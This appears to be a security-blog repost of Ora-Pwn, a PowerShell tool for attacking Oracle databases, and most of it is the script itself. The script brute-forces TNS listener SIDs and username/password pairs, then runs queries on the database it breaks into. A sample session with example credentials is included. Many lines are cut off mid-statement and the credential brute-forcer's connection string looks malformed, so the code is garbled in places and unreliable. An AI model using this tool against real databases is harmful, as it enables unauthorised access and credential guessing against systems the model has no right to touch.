



SECURITY LIST NETWORK™
"TO KEEP EVERYTHING TESTED AND SECURE"



Browse: Home / Ora-PWN – Oracle Attacks Tool.

Search Security Content...

ARCHIVES

Select Month

SITEMAP

```
cmdlet Invoke-QueryExec at command pipeline position 1
Supply values for the following parameters:
HostName: 192.168.1.4
HostPort: 1521
SID: EPROD
Username: Janes
Password: oracleDB

INFO: Now attempting to execute provided query.....

Provided Query: SELECT username FROM dba_users order by username
```

Select Language | ▼

ORA-PWN – ORACLE ATTACKS TOOL.

November 26, 2015 · by EL-Capitan · in Brute Force, Code Scripting, Penetration Test

Ora-Pwn is An Oracle attack tool written in PowerShell and using the .NET OracleClient. Can be used to bruteforce SIDs, Username/Passwords, and to execute queries.

```
cmdlet Invoke-QueryExec at command pipeline position 1
Supply values for the following parameters:
HostName: 192.168.1.4
HostPort: 1521
SID: EPROD
Username: Janes
Password: oracleDB

INFO: Now attempting to execute provided query.....

Provided Query: SELECT username FROM dba_users order by username
```

Ora-Pwn -Using Invoke QueryExec

Attempts to connect to an Oracle TNSListener using a provided SID and reports whether or not the SID is valid. Accepts a single host and SID, or a list of SIDS/Hosts in a textfile seperated by a newline character.

Ora-Pwn.ps1 Script:

```
1 <#
2 .SYNOPSIS
3 Author: Andrew Bonstrom (@ch33kyf3110w)
4 .DESCRIPTION
5 An Oracle attack tool written in PowerShell
6 #>
7
8 function Invoke-SIDGuess {
9 <#
10 .DESCRIPTION
11 Attempts to connect to an Oracle TNSListener
12 .PARAMETER HostName
13 The host you wish to target.
14 .PARAMETER HostList
```

```

15 Path to .txt file containing hosts separated by space
16 .PARAMETER HostPort
17 The Port of the targeted TNSListener.
18 .PARAMETER SID
19 The SID of the targeted TNSListener.
20 .PARAMETER SIDList
21 Path to .txt file containing SIDs separated by space
22 .EXAMPLE
23 PS C:\> Invoke-SIDGuess -HostName 192.168.1.1 -HostPort 1521 -SIDList
24 .EXAMPLE
25 PS C:\> Invoke-SIDGuess -HostList oracle.com -HostPort 1521 -SIDList
26 .LINK
27 https://msdn.microsoft.com/en-us/library/9f3c2927.aspx
28 https://technet.microsoft.com/en-us/library/9f3c2927.aspx
29 #>
30
31 #Assigning Args
32 [CmdletBinding()]
33 Param(
34     [Parameter(Mandatory = $false)]
35     [string]$HostName,
36     [Parameter(Mandatory = $false)]
37     [string]$HostList,
38     [Parameter(Mandatory = $True)]
39     [string]$HostPort,
40     [Parameter(Mandatory = $false)]
41     [string]$SID,
42     [Parameter(Mandatory = $false)]
43     [string]$SIDList
44 )
45
46 #Initialize Arrays
47 $sidWordList = @()
48 $HostTargetList = @()
49
50 #Loads .NET OracleClient Assembly
51 Add-Type -AssemblyName System.Data.OracleClient
52
53 #Assign SIDs to be targeted to an array
54 if ($SIDList -like "*.txt"){
55     foreach($sid in Get-Content -Path $SIDList)
56         $sidWordList += $sid
57     }
58 }
59 else{
60     $sidWordList += $SID
61 }
62
63 #Assign hosts to target to an array
64 if ($HostList -like "*.txt"){
65     foreach($ip in Get-Content -Path $HostList)
66         $HostTargetList += $ip
67     }
68 }
69 else{
70     $HostTargetList += $HostName
71 }
72
73 Write-Host "`nINFO: Now attempting to connect to the database"
74
75 foreach ($h in $HostTargetList){
76     foreach ($s in $sidWordList){
77
78         #Creates connection string
79         $connectionString = "Data Source=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$h)(PORT=$HostPort))(CONNECT_DATA=(SID=$s)))"

```

```

80         #Creates new object with c
81         $conn = New-Object -TypeN
82
83         try
84         {
85             #Attempts connection
86             $conn.Open()
87
88         }
89         catch
90         {
91             #Assigns exception mes
92             $ErrorMessage = $_.Ex
93             #01017 is the ORA exc
94             if ($ErrorMessage -ma
95                 Write-Host -Objec
96             }
97             else{
98                 Write-Host -Objec
99             }
100
101         }
102         #Close connection
103         $conn.Close()
104     }
105 }
106 }
107
108 function Invoke-CredentialGuess {
109 <#
110 .DESCRIPTION
111 Attempts to authenticate to an Oracle Data
112 .PARAMETER HostName
113 The Host you wish to target.
114 .PARAMETER HostPort
115 The Port of the targeted TNSListener.
116 .PARAMETER SID
117 The SID of the targeted TNSListener.
118 .PARAMETER Username
119 The Username for an existing user.
120 .PARAMETER UsernameList
121 Path to .txt file containing usernames sep
122 .PARAMETER Password
123 The password for an existing user.
124 .PARAMETER PasswordList
125 Path to .txt file containing passwords sep
126 .EXAMPLE
127 PS C:\> Invoke-CredentialGuess -HostName :
128 .EXAMPLE
129 PS C:\> Invoke-CredentialGuess -HostName :
130 .LINK
131 https://msdn.microsoft.com/en-us/library/
132 https://technet.microsoft.com/en-us/libra
133 #>
134
135     #Assigning Args
136     [CmdletBinding()]
137     Param(
138         [Parameter(Mandatory = $True)]
139         [string]$HostName,
140         [Parameter(Mandatory = $True)]
141         [string]$HostPort,
142         [Parameter(Mandatory = $True)]
143         [string]$SID,
144         [Parameter(Mandatory = $false)]

```

```
145     [string]$Username,
146     [Parameter(Mandatory = $false)]
147     [string]$UsernameList,
148     [Parameter(Mandatory = $false)]
149     [string]$Password,
150     [Parameter(Mandatory = $false)]
151     [string]$PasswordList
152 )
153     #Loads .NET OracleClient Assembly
154     Add-Type -AssemblyName System.Data
155
156     #Initialize Arrays
157     $UsernameWordList = @()
158     $PasswordWordList = @()
159
160     #Assign credentials to be used in
161     if ($UsernameList -like "*.txt*")
162     {
163         foreach($user in Get-Content $UsernameList)
164             $UsernameWordList += $user
165     }
166     else{
167         $UsernameWordList += $Username
168     }
169
170     #Assign hosts to target to an array
171     if ($PasswordList -like "*.txt*")
172     {
173         foreach($pass in Get-Content $PasswordList)
174             $PasswordWordList += $pass
175     }
176     else{
177         $PasswordWordList += $Password
178     }
179
180     Write-Host "`nINFO: Now beginning"
181
182     foreach ($u in $UsernameWordList)
183     {
184         foreach ($p in $PasswordWordList)
185         {
186             #Creates connection string
187             $connectionString = "Data Source=$u;Password=$p;"
188             #Creates new object with connection string
189             $conn = New-Object -TypeName OracleClient.OracleConnection $connectionString
190
191             try
192             {
193                 $conn.Open()
194                 Write-Host -Object "Connection successful for $u/$p"
195             }
196             catch
197             {
198                 #Assigns exception message
199                 $ErrorMessage = $_.Exception.Message
200                 #01017 is the ORA exception for invalid username/password
201                 if ($ErrorMessage -match "ORA-01017")
202                 {
203                     Write-Host -Object "Invalid username/password for $u/$p"
204                 }
205                 else{
206                     Write-Host -Object "Connection failed for $u/$p: $ErrorMessage"
207                 }
208             }
209             $conn.Close()
210         }
211     }
```

```

210     }
211
212     function Invoke-QueryExec {
213
214     <#
215     .DESCRIPTION
216     Oracle PowerShell client that can be used
217     .PARAMETER HostName
218     Host of the remote TNS Listener.
219     .PARAMETER HostPort
220     Port of the remote TNS Listener.
221     .PARAMETER SID
222     SID of the remote TNS Listener.
223     .PARAMETER Username
224     Username to authenticate against the remote
225     .PARAMETER Password
226     Password to authenticate against the remote
227     .PARAMETER QueryString
228     Query to execute on the remote Oracle DB.
229     .EXAMPLE
230     PS C:\> Invoke-QueryExec -Hostname 192.168.1.100
231     .LINK
232     https://msdn.microsoft.com/en-us/library/9f3f26b7.aspx
233     https://technet.microsoft.com/en-us/library/9f3f26b7.aspx
234     #>
235
236     #Assigning Args
237     [CmdletBinding()]
238     param(
239         [Parameter(Mandatory = $True)]
240         [string]$HostName,
241         [Parameter(Mandatory = $True)]
242         [string]$HostPort,
243         [Parameter(Mandatory = $True)]
244         [string]$SID,
245         [Parameter(Mandatory = $True)]
246         [string]$Username,
247         [Parameter(Mandatory = $True)]
248         [string]$Password,
249         [Parameter(Mandatory = $false)]
250         [string]$QueryString = "SELECT * FROM SYS.DATABASES"
251     )
252
253     #Loads .NET OracleClient Assembly
254     Add-Type -AssemblyName System.Data.OracleClient
255
256     #Create connection string
257     $connectionString = "Data Source=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$HostName)(PORT=$HostPort))(CONNECT_DATA=(SID=$SID)))"
258     #Initiate connection to DB
259     $conn = new-object System.Data.OracleClient.OracleConnection($connectionString)
260     $command = new-object System.Data.OracleClient.OracleCommand($QueryString, $conn)
261
262
263     Write-Host "`nINFO: Now attempting to connect to DB"
264     Write-Host "Provided Query: $QueryString"
265     Write-Host "Query Output:`n"
266
267     try {
268         #Open connection to DB
269         $conn.Open()
270         $reader = $command.ExecuteReader()
271         while ($reader.Read()){
272             Write-Host $reader.GetValue(0)
273         }
274     }

```

```
275     }
276     catch {
277         #Assigns exception message to var
278         $ErrorMessage = $_.Exception.Message
279         Write-Host -Object "`n[*] Query c
280     }
281     $conn.Close()
282 }
```

Source: <https://github.com/ch33kyf3ll0w>

Tags: Attack Research, Oracle, PowerShell

← Hibernate injection –
HQL injection
exploitation.

Flashlight v1.0 released
– Automated Information
Gathering Tool for
Penetration Testers. →